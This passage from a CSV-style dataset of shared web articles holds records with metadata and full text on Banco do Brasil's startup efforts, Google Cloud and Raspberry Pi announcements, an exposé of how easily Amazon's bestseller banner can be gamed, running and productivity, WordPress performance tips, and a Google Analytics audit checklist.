eles decidiram abrir um espaço semelhante em Brasília, onde atualmente estão incubados 8 projetos de funcionários do Banco. Durante a conversa com o Startupi, Alexandre e Joaquim deixaram claro que o Banco do Brasil tem total interesse em se aproximar das startups e que acreditam que não precisam concorrer com as fintechs, mas sim fazer um trabalho em conjunto. Joaquim afirma que o banco está em contato com a ABStartups, aceleradoras e marcando presença em diversos eventos do segmento justamente para que essa aproximação seja mais efetiva. Sobre a possível criação de um programa de aceleração ou fundo de investimento voltado para startups do mercado, Alexandre acredita que será uma evolução do LABB, mas ainda não existe um local e formato definido. ""Nós queremos aprender internamente como fazer para depois escalar essas iniciativas"", comenta Alexandre. ""A parte mais importante de todas essas iniciativas que estamos fazendo é que o banco se transforme em uma empresa digital de verdade, é isso que estamos tentando construir no Banco do Brasil. Queremos que ele tenha a leveza e agilidade de uma startup, mesmo tendo um corpo de 200 anos"", finaliza Joaquim.",pt
1486124888,CONTENT SHARED,-6798063491592860025,3609194402293569455,-5689939798252289851,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2017/02/03/google-planeja-ferramentas-de-inteligencia-artificial-para-raspberry-pi/,Google planeja ferramentas de inteligência artificial para Raspberry Pi | Google Discovery,"O Google anunciou que pretende disponibilizar novas ferramentas de desenvolvimento para os fabricantes que usam o microprocessador de baixo custo Raspberry Pi. O buscador planeja oferecer software para o reconhecimento de rosto e emoção, tradução de voz para texto, processamento de linguagem natural, análise de sentimentos, análise preditiva e muito mais. No entanto, a empresa está atualmente realizando uma pesquisa sobre os tipos de ferramentas que os desenvolvedores gostariam que o Google desenvolva. ""Nós, da Google, estamos interessados ​​em criar ferramentas inteligentes para os fabricantes e queremos ouvir de você sobre o que seria mais útil"", diz o estudo. As áreas de tecnologia que podem ser selecionadas durante o levantamento incluem automação residencial, drones, IoT, robótica, impressão 3D, wearables e aprendizado de máquina. Para Eben Upton, co-fundador da Pi, o resultado da pesquisa será interessante pois permitirá que o Google desenvolva coisas interessantes para a plataforma. ""Para mim, as grandes oportunidades estão em torno de aprendizagem profunda e inteligência artificial"", disse Upton. ""Google é muito forte nesta área, particularmente após a aquisição da DeepMind, e há benefícios óbvios ao conectar seus serviços para o mundo real usando Raspberry Pi"", finalizou. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1486127884,CONTENT SHARED,-115909536143817330,3891637997717104548,-1142511607556410463,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2017/02/9-must-see-sessions-for-application-developers-at-Google-Cloud-Next-17.html,8 must-see sessions for application developers at Google Cloud Next '17,"With 200-plus sessions to choose from at Google Cloud Next '17 on March 8 - 10, there's a little bit of something for everyone. But if you're an application developer coming to the show, here are a few sessions in particular that I recommend you check out. The most popular application development platform on Google Cloud Platform (GCP) is Java. If that describes your shop, be sure to check out "" Power your Java workloads on Google Cloud Platform ,"" with Amir Rouzrokh , Product Manager for all things Java on GCP. Amir will show attendees how to deploy a Spring Boot application to GCP, plus how to use Cloud Tools for IntelliJ to troubleshoot production problems. In the past year, we've also made big strides supporting Microsoft platforms like ASP.NET on GCP. For a taste, check out Google Developer Advocate Mete Atamel's talk "" Take your ASP.NET apps to the next level with Google Cloud ,"" where he'll cover how to migrate an ASP.NET app to GCP, how to work with our Powersehll cmdlets and Visual Studio plugins and how to tie into advanced GCP services like Google Cloud Storage , Cloud Pub/Sub and our Machine Learning APIs. Then there's "" Running .NET and containers in Google Cloud Platform "" with Jon Skeet and Chris Smith, who will show you the next generation of OSS, cross-platform .NET Core apps running in Containers in Google App Engine and in Kubernetes . Speaking of App Engine, here's your chance to learn all about App Engine flexible environment, our next-generation PaaS offering. In "" You can run that on App Engine? ,"" Product Manager Justin Beckwith shows you how to easily build production-scale web apps for an expanded variety of application patterns. We're also excited to talk more about Apigee, the API management platform we acquired in the fall. At "" Using Apigee Edge to create and publish APIs that developers love ,"" Greg Brail, Principal Software Engineer and Prithpal Bhogil, GCP Sales Engineer, will walk developers through how to use Apigee Edge and best practices for building developer-friendly APIs. Newcomers to GCP may also enjoy Google Cloud Product Manager Omar Ayoub's session, "" Developing made easy on Google Cloud Platform "", where we'll provide an overview of all the different libraries, IDE and framework integrations and other tools for developing applications on GCP. But the hottest application development topic at Next '17 is arguably Google Cloud Functions , our event-based computing platform that we announced in alpha last year. For an introduction to Cloud Functions, there's "" Building serverless applications with Google Cloud Functions "" with Product Manager Jason Polites. Mobile developers should also consider "" Google Cloud Functions and Firebase "", marrying our mobile backend as a service offering with Cloud Functions' lightweight, asynchronous compute. Of course, that's just the tip of the iceberg when it comes to application development sessions. Be sure to check out the full session catalog , and register sooner rather than later to secure your spot in the most coveted sessions and bootcamps.",en
1486128294,CONTENT SHARED,-8502883448980287228,3891637997717104548,-1142511607556410463,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2017/01/centrally-manage-all-your-Google-Cloud-resources-with-Cloud-Resource-Manager.html,Centrally manage all your Google Cloud resources with Cloud Resource Manager,"Google Cloud Platform (GCP) customers need an easy way to centrally manage and control GCP resources, projects and billing accounts that belong to their organization. As companies grow, it becomes progressively difficult to keep track of an ever-increasing number of projects, created by multiple users, with different access control policies and linked to a variety of billing instruments. Google Cloud Resource Manager allows you to group resource containers under the Organization resource , providing full visibility, centralized ownership and unified management of your company's assets on GCP. The Organization resource is now automatically assigned to all GCP users who have G Suite accounts, without any additional steps on their part. All you need to do is create a project within your company's domain to unlock the Organization resource and all its benefits! Since it was introduced in October 2016, hundreds of customers have successfully deployed Cloud Resource Manager's Organization resource, and have provided positive feedback. "" At Qubit, we love the flexibility of GCP resource containers including Organizations and Projects. We use the Organization resource to maintain centralized visibility of our projects and GCP IAM policies to ensure consistent access controls throughout the company. This gives our developers the capabilities they need to put security at the forefront throughout our migration to the cloud ."" - Laurie Clark-Michalek, Infrastructure Engineer at Qubit. Understanding the Cloud Resource Manager Organization resource The Cloud Resource Manager Organization resource is the root of the GCP resource hierarchy and is a critical component for all enterprise use cases, from social media to financial services, from gaming to e-commerce, to name a few. Here are a few benefits offered by the Organization resource: Tie ownership of GCP projects to your company, so they remain available when a user leaves the organization. Allow GCP admins to define IAM policies that apply horizontally across the entire organization. Provide central visibility and control over billing for effective cost allocation and reporting. Enable new policies and features for improved security. The diagram below illustrates the GCP resource hierarchy and its link with the G Suite account. G Suite, our set of intelligent productivity apps, is currently a prerequisite to access the Cloud Resource Manager Organization resource in GCP. It represents your company by providing ownership, lifecycle control, identities and a recovery mechanism. If you don't already have a G Suite account, you can sign up to obtain one here . (You can request a GCP account that does not require G Suite to use the Cloud Resource Manager Organization resource. For more information, contact your sales representative.) Getting started with the Cloud Resource Manager Organization resource Unlocking the benefits of the Cloud Resource Manager Organization resource is easy ; it's automatically provisioned for your organization the first time a GCP user in your domain creates a GCP project or billing account. The Organization resource display name is automatically synchronized with your G Suite organization name and is visible in the Cloud Console UI picker, as shown in the picture below. The Organization resource is also accessible via gcloud and the Cloud Resource Manager API . Because of the ownership and lifecycle implications explained above, the G Suite super admin is granted full control over GCP by default. Usually, different departments in an organization manage G Suite and GCP. Thus, the first and most important step for the G Suite super admin overseeing a GCP account is to identify and assign the IAM Organization Admin role to the relevant users in their domain. Once assigned, the Organization Admins can manage IAM policies, project ownership and billing centrally, via Cloud Console, gcloud or the Cloud Resource Manager API. All new GCP projects and billing accounts will belong to the Cloud Resource Manager Organization resource by default, and it's easy to migrate existing GCP Projects there too. Existing projects that have not migrated under the Organization resource are visible under the ""No Organization"" hierarchy. How to manage your Cloud Resource Manager Organization resource with gcloud The following script summarizes the steps to start using the Cloud Resource Manager Organization resource. What's next The Cloud Resource Manager Organization resource is the root of the GCP hierarchy and is key to centralized control, management and improving security. By assigning the CRM Organization resource to all G Suite users, we're setting the stage for more innovation. Stay tuned for new capabilities that rely on the Cloud Resource Manager Organization resource as they become available in 2017. And for a deep dive into the Cloud Resource Manager and the latest in GCP security, join us at a security bootcamp at Next '17 in San Francisco this March.",en
1486129069,CONTENT SHARED,1751822544912242581,3891637997717104548,-1142511607556410463,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2017/01/expanding-our-IDE-support-with-a-new-Eclipse-plugin-for-App-Engine.html,Expanding our IDE support with a new Eclipse plugin for App Engine,"Eclipse is one of the most popular IDEs for Java developers. Today, we're launching the beta version of Cloud Tools for Eclipse , a plugin that extends Eclipse to Google Cloud Platform (GCP). Based on Google Cloud SDK , the initial feature set targets App Engine standard environment , including support for creating applications, running and debugging them inside the IDE with the Eclipse Web Tools Platform tooling and deploying them to production. You may be wondering how this plugin relates to the Google Plugin for Eclipse , which was launched in 2009. The older plugin is focused on a broader set of technologies than just GCP. Moreover, support for the Eclipse Web Tools Platform and Maven is spotty at best. Moving forward, we'll invest in building more cloud-related tooling in Cloud Tools for Eclipse. Cloud Tools for Eclipse is available for Eclipse 4.5 (Mars) and Eclipse 4.6 (Neon) and can be installed through the Eclipse Update Manager . The plugin source code is available on GitHub , and we welcome contributions and reports of issues from the community. First, install the Cloud Tools for Eclipse plugin . To verify that the plugin has installed correctly, launch Eclipse and look at the bottom right hand side of the window -- you should see a Google ""G"" Icon. Click on this icon to login to your Google account. Now we'll demonstrate how to create and deploy a simple Maven-based ""Hello World"" App Engine standard environment application. First, create a new App Engine project from Cloud Console . (If this is your first time using GCP, we recommend signing up for our Free Trial first.) When you see this card, click Create a project : You should then land on the following cards: Every GCP project has a unique project ID. You'll need this string later, so let's grab that. On the left hand nav, click on Home and copy the project ID as shown below. Now that you have an App Engine project, you're ready to deploy a simple Hello World application. Open Eclipse and click on File > New > Project and type ""Maven-based Google"" in the Wizards section, then select the following: Fill in the Maven group ID and artifact ID and click Next : In the next page, select the Hello World template and click Finish . Now, right click on your project in the Project Explorer and select Run As > App Engine . You should now see your application running locally shortly on localhost. In the output terminal in Eclipse, the correct URL is hyperlinked. Once you've finished running the application locally, you can deploy it to the cloud. Right-click on your application in the Eclipse Project Explorer and select Deploy to App Engine Standard . You'll see the following dialog if you're logging in for the first time. Click on the Account drop-down and proceed with the web browser UI to link the plugin for your GCP Account. Once signed in, enter the Project ID of the application you created in Cloud Console and leave the rest as is. This is the ID you wrote down earlier. Click Deploy to upload the finished project to App Engine. Status updates appear in the Eclipse console as files are uploaded. When the deployment finishes, the URL of the deployed application is shown in the Eclipse console. That's it! You can check the status of your application in the Cloud Console by heading to the App Engine tab and clicking on Instances to see the underlying infrastructure of your application. We'll continue to add support for more GCP services to the plugin, so stay tuned for update notifications in the IDE. If you have specific feature requests, please submit them in the GitHub issue tracker. To learn more about Java on GCP, visit the GCP Java developers portal , where you can find all the information you need to run your Java applications on GCP. Happy Coding! P.S. IntelliJ users, see here for the Cloud Tools for IntelliJ plugin.",en
1486129970,CONTENT SHARED,-4709710373442563586,3891637997717104548,-1142511607556410463,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2017/01/guest-post-building-IoT-applications-with-MQTT-and-Google-Cloud-PubSubtions.html,Guest post: building IoT applications with MQTT and Google Cloud Pub/Sub,"[Editor's note: Today we hear from Agosto, a Google Cloud Premier Partner that has been building products and delivering services on Google Cloud Platform (GCP) since 2012, including Internet of Things applications. Read on to learn about Agosto's work to build an MQTT service broker for Google Cloud Pub/Sub, and how you can incorporate it into your own IoT applications.] One of our key practice areas is Internet of Things (IoT). Using the many components of GCP, we've helped customers rapidly move their ideas from product concept to launch. Along the way, we evaluated several IoT platforms and repeatedly came to the conclusion that we'd be better off staying on the GCP stack than a single IoT platform with costly licensing hooks and closed-source practices. Our clients also like being able to build scalable, functional prototypes using pre-existing and standard reference architectures and tools. One of the many challenges we faced along the way was picking an efficient transport for two-way messaging between ""things"" and GCP. After evaluating a number of emerging and mature protocols, we settled on Message Queuing Telemetry Transport (MQTT). The MQTT protocol has been around since the early 2000's and is now an ISO Standard. Originated in 1999 by Andy Stanford-Clark and Arlen Nipper, it's lightweight, has solid documentation and has tens of thousands of production deployments. Furthermore, many existing pre-IoT or ""Machine to Machine"" projects already use MQTT as their transport from embedded device to the back-office. With MQTT, we've been able to increase velocity and reduce complexity for our IoT products and services. MQTT is a great transport protocol, but it can be challenging to manage at scale, particularly when it comes to scaling message storage and delivery systems. As one of the earliest Google partners to develop a set of reusable tools, reference architectures and methods for accelerating IoT products to market, we've been impressed with Google Cloud Pub/Sub , a durable, low-latency and scalable service for handling many-to-many asynchronous messaging. But Cloud Pub/Sub uses HTTPS to transfer data. Over numerous small requests, all those HTTP headers add up to a lot of extra data - a no-go when you're dealing with a constrained device that communicates over a mobile network, and where you pay for each byte in mobile data charges, battery usage - or both. We needed to bridge the gap between IoT-connected devices and Cloud Pub/Sub, and began investigating ways to connect MQTT to Cloud Pub/Sub using and extending RabbitMQ . After initial load tests showed this approach was viable, Google asked Agosto to develop an open-source, highly performant MQTT connection broker that integrates with Cloud Pub/Sub. With low network overhead (Agosto has seen up to 10x less compared to HTTPS in scenarios we've tested) and high throughput, MQTT is a natural fit for many scenarios. The resulting message broker integrates messaging between connected devices using a MQTT client and Cloud Pub/Sub; RabbitMQ performs the protocol conversion for two-way messaging between the device and Cloud Pub/Sub. This means administrators of the RabbitMQ compute infrastructure don't have to concern themselves with managing the durability of the data, or scaling storage. Our message broker can support both small and very large GCP projects. For example, with smaller projects and IoT prototypes, you can rapidly deploy a single node of Agosto's MQTT to Pub/Sub Connection Broker supporting up to 120,000 messages per minute for as little as $25/month for the compute costs. Larger production deployments with load-balanced brokers can support millions of concurrent connections and much higher throughput. Download the broker, follow the instructions and learn more about leveraging MQTT and GCP for your IoT project. GitHub: And if you're looking for a more customized implementation of our MQTT to Pub/Sub Connection broker, visit our website to learn more about our offerings .",en
1486130556,CONTENT SHARED,9158289456544908688,-1393866732742189886,-3355654779341048024,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",MG,BR,HTML,https://medium.com/the-mission/behind-the-scam-what-does-it-take-to-be-a-best-selling-author-3-and-5-minutes-ec05cee1749a,Behind the Scam: What Does It Take to Be a 'Best-Selling Author'? $3 and 5 Minutes. - The Mission,"A while ago, I put up a fake book on Amazon. I took a photo of my foot, uploaded to Amazon, and in a matter of hours, had achieved ""№1 Best Seller"" status, complete with the orange banner and everything. How many copies did I need to sell to be able to call up my mother and celebrate my newfound authorial achievements? Three. Yes, a total of three copies to become a best-selling author. And I bought two of those copies myself! The reason people aspire to call themselves ""bestselling author"" is because it dramatically increases your credibility and ""personal brand."" It can establish you as a thought leader. You're able to show that you not only wrote a book, but that the market has judged it to be better than other books out there. It's a status symbol, one of that cashes in on the prestige of one of man's oldest past-times. At last, I had acquired this coveted title for myself. I'm a partner at a marketing company called Brass Check . Over the years, we've helped launch 30 legitimate New York Times best sellers (including several at the sought-after №1 spot). My company has helped sell over 5 million books and advised or managed book launches with every major publishing house, including Amazon. We have important rules at my company about the projects we take on. We don't work with authors whose books we wouldn't read ourselves, and we don't guarantee best-seller status. We say no to more work than we say yes to, but these principles help us avoid the gimmicky, one-hit-wonders who aren't looking to write great books but instead are looking to trick people into thinking they have. But it's begun to feel a bit like a losing battle. Because those authors are everywhere these days. The title of my fake book was ""Putting My Foot Down"" for a reason: I've become utterly exhausted with phony ""authors"" and the scam artists and charlatans who conspire with these folks-the cottage industry that has built up around them, selling courses, instructions and hacks. A quick Google search returns dozens of "" bestselling books ,"" courses , packages , schools , secrets , summits , and webinars teaching you how to become a ""bestselling author"". Hell, this guy even promises to show you how to be a bestselling author "" Even if You Have No Book Ideas, Writing Skills, or Any Clue Where To Start "" in a ""5 Phase Formula."" Heart Centered Media will give you ""Guaranteed Bestseller Status"" for just ""3 payments of $1,333,"" although they let you know ""Book Sales are NOT Guaranteed."" Denise Cassino promises that with her services, ""You'll forever after be a 'Bestselling Author!' a tag that will open doors otherwise closed to you""...for just $3250. Jesse Krieger over at ""Bestseller Campaign Blueprint"" encourages you to ""Imagine looking on Amazon and seeing...Your Book on the Best-Seller Lists Next to Your Author Heroes"" and lets you know he can deliver that dream for just $997. Peggy McColl has ""Launched Perhaps MORE Bestsellers Than ANY Other"" and will teach you how for only $2,497. Sigh. It used to be a real mark of distinction to hit the best-seller lists-because there were fewer lists and fewer authors (and before ebooks, pricing across books was pretty universal as well). The New York Times list has been the most prestigious, published in one form or another since 1931. By 1942, a national list made its debut, compiled according to ""reports from leading booksellers in 22 cities."" By the mid-2000s, over 4,000 bookstores were polled each week to determine who deserved to be on the list. The Wall Street Journal list, which has been around since 2009, is based on Nielsen Bookscan and tends to focus on a smaller number of categories. The USA Today list is also a prestigious but more of a catch-all list. Any industry person can tell you these lists have their problems. There's a barely concealed editorial bias . Bookscan, the database that tabulates book sales, inexplicably doesn't include Amazon's ebook sales. There's even the possibility of manipulation, as outlined in a 2013 Wall Street Journal article called "" The Mystery of the Book Sales Spike ."" Still, they remain relatively hard to crack. In most cases, your book not only has to be good enough for a legitimate publisher to publish it, but you have to outsell all the other books out there, past and present, even if you're paying for it out of your pocket. We've had clients sell close to 10,000 copies in a single week and miss landing on these charts. Because of the high bar, the term ""bestselling author"" was a term with some meaning. It was seen as something that was earned through a lot of hard work. But today, that designation has changed - for the worse. It's like when you see a food described as ""natural."" The FDA doesn't actually regulate that term , so it's basically meaningless. It's about time that readers - and the media, which breathlessly repeats the best-selling claims of these authors - wised up. So let me show you exactly how I became a #1 Amazon bestseller for $2 and a photo of my foot in less than five minutes (with screenshots and proof). Hopefully, as my partner Ryan has put it , once you understand how the sausage is made, you won't want to eat it any more. Step 1: Writing my book (~2 seconds) I didn't feel like writing a book so I instead just took a photo of my foot. I called the book ""Putting My Foot Down"" and included one page with, you guessed it, a photo of my foot. Step 2: Uploading and formatting on Amazon (~3 minutes) They say picking a title is the hardest part of writing a book. Don't I know it! Verifying rights and choosing categories Amazon has their own ""bestseller"" rankings for books, based upon categories. If you're in the Top 100 in your Amazon category, you will see a ""bestseller ranking"" below the title. A book at the #1 spot in any given category will get a ""#1 Best Seller"" banner featured next to the title. This lets potential customers know the book is the top-selling item in that category. If a book holds the top spot in a category for months, that's saying something. Hitting it for an hour (which is how often Amazon refreshes its rankings), screen-shotting it, and calling yourself a ""bestselling author"" for life? Well... A few more things to know, in case you want to try this at home: Amazon has over 500 categories for books, down to things as specific as transpersonal movements and freemasonry studies (as you'll see below) When you publish on Amazon, Amazon allows YOU to choose the category your book tracks in. You can set the price of your book, down to $0.99. I decided my foot was worthy of the ""Transpersonal"" category under psychology books and ""Freemasonry & Secret Societies"" category under social sciences books. I've always wanted to have an affiliation with the Freemasons. Designing my cover Amazon features a handy ""Cover Creator"" that will lay text over any image and create your cover in a matter of seconds. I chose my foot for the image. Waiting for approval from Amazon The waiting is the worst part of the process. What if Amazon rejected my foot? Never mind, we're approved! Amazon page is live Just a few short hours later, another book is added to Amazon's extraordinary catalog. One small step for me...one giant leap for the digital world. Step 3: Asking 3 friends to buy the book (~1 minute) Aaron always has my back, no questions asked: The time invested in this promotion could have been even shorter if Nick had not asked so many nettlesome questions. Step 4: Sell some copies Burst onto the scene with three copies sold in the first few hours. Look at that hockey stick growth! Step 5: WE MADE IT! #1 Success! Just a reminder to the kids that if you work hard, own an iPhone with a working camera, and have no shame, you too can be a #1 best-selling author. What a thrill to see that #1 Bestseller banner ! Time to put Drake on repeat and update my LinkedIn profile to include #1 Best Selling Author. Not just one list either. The book was so popular it also hit #2 and #3 in the ""Freemasonry"" category. Leading the pack. Sorry Monika and Ken. Amazon is the largest book retailer in the world. They carry over 33 MILLION titles and ship them pretty much anywhere in the world. At the same time Amazon also allows authors to publish titles directly onto the platform, without the approval of traditional publishers, editors, or, as my foot book proves, really any barriers at all. In 2014, a new book was added to Amazon every five minutes . Gone are the days of having to be selected to put out a book. Gone are the days of having to go to a bookstore to see what is available. Now you can check online, with real time reviews, AND, real time ""bestseller"" rankings. It's unsurprising that as the barriers to entry for the book business went down, so did the quality of the books being produced. These days, over one million books are published each year, with at least half of these self-published. So it's almost obvious that, given the volume, you could game your way to the top of a category with very few sales. And yet, in spite of the fact that it's as easy as I've shown to become an Amazon best-seller, those same people get to cash in on the goodwill and prestige build up in the title ""bestselling author.""",en
1486143184,CONTENT SHARED,1496653703915349161,-6611967527589759673,3303445205070435709,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,http://runnersworld.com.br/corrida-aliada-da-produtividade/,A corrida como aliada da produtividade - Runner's World Brasil,"Nunca se falou tanto em produtividade como nos dias de hoje. E isso não vai parar por aí. Estamos em um tempo onde todos querem a sua atenção para te vender alguma coisa, fazer você participar de algum curso, congresso ou até fazer você planejar as suas viagens, sem sequer ter programado suas férias. Ser produtivo é, antes de qualquer coisa, saber organizar suas tarefas e direcionar as atividades diárias com o intuito de realizar todas as coisas importantes, evitando as urgências e limitando ao máximo as interferências de situações especiais. Além disso, a pessoa produtiva sabe dividir bem seu tempo e participação em vários ""pilares"" como o trabalho, família e vida pessoal, direcionando suas ações em busca de seus objetivos. A falta de produtividade pode causar muitos problemas. Fruto de uma desorganização crônica, o indivíduo acaba por utilizar seu tempo realizando coisas sem prioridade e deixando para trás as tarefas importantes do dia, fundamentais para a sua evolução profissional ou pessoal. Sabe quando você tem aquela nítida sensação de que está ""correndo atrás do rabo"", de que não tem tempo para nada ou que não fez nada o dia inteiro? Pois é, isso é falta de produtividade. Mas como a corrida pode ajudar na melhora da produtividade? Muitas pessoas iniciam a prática da corrida com algum objetivo em mente: perda de peso, diminuição de colesterol ou estresse, baixar tempo... Qualquer meta é desejada para se iniciar um esporte como a corrida. Pois bem, ao reservar um espaço na sua agenda para a realização de seus treinos, ao contratar um treinador para planejar a sua evolução, ao se submeter a avaliações médicas e nutricionais para observar seu estado físico, e ao reavaliar seus exames para ver se atingiu seus objetivos, você já está sendo mais produtivo. Esse é o início de um ciclo que se torna cada vez maior e mais virtuoso , quando você sente que sua performance melhora e muda seus hábitos nutricionais, de sono e (até) de ingestão de álcool, porque vale a pena chegar mais disposto ao treino para aproveitar melhor sua corrida. Por sua vez, chega um momento em que você diz: ""Porque eu não faço com a minha vida a mesma coisa que eu faço na minha corrida?"" E é neste momento que você busca aprendizado para fazer mais em menos tempo, que procura vencer os desafios do dia. Isso vira uma boa competição interna, em que chegar ao final do dia realizando todas as tarefas propostas é motivo de celebração , como a medalha no final dos 10 km. Isso é produtividade! Lógico que para realizar essas transformações e atingir seus objetivos você precisa de maturidade. E isso já é característica de um campeão. Vem comigo! José Carlos Fernando é diretor esportivo da Ztrack Esporte e Saúde assessoria esportiva e coaching esportivo de atletas e empresas. Formado em educação física e nutrição, com especializações em fisiologia do esporte, treinamento desportivo, nutrição esportiva e coaching do esporte, atua na área há mais de 25 anos.",pt
1486385227,CONTENT SHARED,6070279813975953742,3609194402293569455,8046457866642307112,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://trendwatching.com/trends/2016-back-from-the-dead/,BACK FROM THE DEAD - TrendWatching,"Dry your eyes; it wasn't all bad ;) The biggest trend of 2016? Hating on 2016. Now that we've survived it, we can admit a lot of exciting (not always terrible) things occurred in the last 12 months. We can also see if our predictions for the year played out. Read our 5 Trends for 2017 briefing and you'll hear a voice in your head whisper ""really?!"" for one or two of the trends. Our feelings aren't hurt. A little skepticism is healthy in this fast-paced #fakenews landscape. So to reassure you about our projections for the next 12 months, we've taken a look at how our 5 Trends for 2016 (published back in November 2015) unfolded IRL. Did customer expectations change in the ways we predicted? If so, which brands responded to the challenge? What initiatives blew our hard-to-blow minds? Join us as we bring 2016: BACK FROM THE DEAD to uncover innovations, insights and trend-driven opportunities that have a whole lot of life left in them. Don't forget... Paying attention to trends for just a few weeks each year is for noobs We hope you enjoyed revisiting our 5 Trends for 2016, and that it has cemented your confidence in our prescience ;) While many professionals only encounter or look for trends once a year, it's clear that trends don't begin or end at the stroke of midnight on New Year's Eve. It's also clear the insights these trends provide can improve your business ALL year long. That's why those five trends above - which have plenty of life left in them - sit alongside the 120+ other trends that we track within our TW:Premium Service . If you want to DO better, BE better and EARN better in 2017, it's worth a look!",en
1486415241,CONTENT SHARED,-115892576593938933,3891637997717104548,2484764689363214992,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://joaoperibeiro.com/speed-up-wordpress-website-in-8-steps/,Speed Up a WordPress Website in 8 Steps,"Although WordPress is one of the most complete and easy to use of blogging platforms out there, we all know that it is far from being the fastest and most optimized solution out of the box. Maybe due to the fact that WordPress was built with usability in mind, rather than performance. Since nowadays, speed and performance are kings when it comes to SEO and user engagement (search for "" page load time impact "" on google, just don't try to read everything because you will be overwhelmed), I decided to take a look on how to speed up my blog. Turns out that, with the right set of plugins and tools, it actually pretty easy to achieve a decent amount of performance improvement. In my case around 300% faster . Site Performance Before Improvements 7 Seconds to DOM Ready and 11 Seconds to Page Load (With Chrome Dev Tools) 86 Points on YSlow (Grade B) on ""Small Site or Blog"" Test 65/100 Score for Desktop on Google PageSpeed Insights Site Performance After Improvements 1.8 Seconds to DOM Ready and 4 Seconds to Page Load (With Chrome Dev Tools) 95 Points on YSlow (Grade A) on ""Small Site or Blog"" Test 76/100 Score for Desktop on Google PageSpeed Insights This were the results I achieved after some research on the subject and a few hours trying different plugins. Since I wanted to be able to replicate this results in my other WordPress projects, I decide to compile them into a set of steps that I will present in this post. 8 Steps to Increase WordPress Performance 1. Optimize Media Unoptimized images are one of the biggest cause of page load time and bandwidth waste on a website. And the solution is as simple as installing a plugin and running a bulk optimization on all your existing images and thumbnails. Therefore, my WordPress plugin of choice for this is Imagify . This plugin requires you to register and generate an API Key but the free plan includes 50Mb of image processing per month (more than enough for a typical website). Another very popular option is WP SmushIt . 2. Lazy Load Images Besides optimizing your images, you shouldn't be loading your images until they are actually necessary. Lazy Load plugin allows you to load the images only when the user scrolls to their position. This saves initial load time and bandwidth is the user never scrolls to them. 3. Minify and Merge JavaScript and CSS One of the most important factors in website performance is the number of requests made to the server and the size of the resources loaded by the browser. One solution to improve that is to combine all the JS and CSS files and minify them. Fast Velocity Minify or WP Super Minify do exactly that. Also, moving the JavaScript files to the end of the page will reduce the page load time. 4. Analyze Your WordPress Plugins Although is good that WordPress has a huge collection of plugins available, it's also really easy to get caught installing too many unoptimized plugins that will drag down the website performance. P3 Profiler helps you analyze the time your plugins are taking on page load and which ones are dragging you down. 5. Optimize the Database WP Optimize helps to keep the database clean and optimized without any work or MySQL knowledge. With one click it will clean unnecessary data (like post revisions, old drafts, spam comments, etc) and compact/defragment MySQL tables to make your DB smaller and optimized. 6. Cache Content Server and browser caching are essential for website performance, especially if the content is mostly static. For server caching, I use WP Super Cache because of its easy usage and configuration. W3 Total Cache is also very popular. In addition to server cache, it's also important to leverage browser cache. Far Future Expiry Header is a simple but efficient plugin that adds expires headers automatically to your files and images by configuring necessary .htaccess rules. 7. Use Cloudflare Another important tip is to use Cloudflare . Their service is free for personal websites (starts at 20$/month for professional use) and includes: DDoS Protection Global CDN Shared SSL Files Cache and Minification Analytics Firewall Mobile Subdomain Redirect Among other features... 8. Use Nginx with PHP 7 and OPCache Finally, but definitely one of the most important, have a decent machine that contains Nginx with PHP-FPM , PHP 7 and OPCache installed. If you're still in your Apache / PHP 5 setup, change now! The results will be impressive. To achieve this setup, check this installation guide . In case you're wondering, OPCache is basically a cache for your PHP code. It makes you code run faster by saving the already compiled code in cache so, unless the files change or cache is cleaned, it will not need to be compiled again in further executions. To install, just follow this tutorial and then check the status of your installation using the OPCache Status script. And that's it! Some simple steps you can apply in a few hours and check the difference. Hope you found this article helpful and let me know in the comments if this steps worked for you.",en
1486464878,CONTENT SHARED,7775857588929395558,-5639303336519418445,8019533562915233902,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://optimizationup.com/complete-google-analytics-audit-checklist/,The Complete Google Analytics Audit Checklist | Optimization Up,"It is critical to make sure you are basing your decisions on accurate data. In addition to having reliable data, you want to make sure that your data is both relevant and actionable . Therefore, today we've pulled together a comprehensive Google Analytics audit checklist to help you audit your account and make sure your data is accurate and usable. The list is useful for agencies, digital marketer, and even website owners. You can get the list from , just make a copy of it. The checklist is split into 3 levels (Basics, Intermediate, Advanced) each in a different tab. In this article will go through each item in details. So, let's get started:- 1- Basics Property/View Structure Proper account structure is critical for data quality, reporting, analysis, testing, and optimization. Google Analytics has a three-tiered hierarchy for setting up sites for tracking. You need to make sure this hierarchy is respected. Also, mobile apps should have different properties than the website property. Naming Convention A proper and friendly naming convention of your properties and views will make it easier to navigate 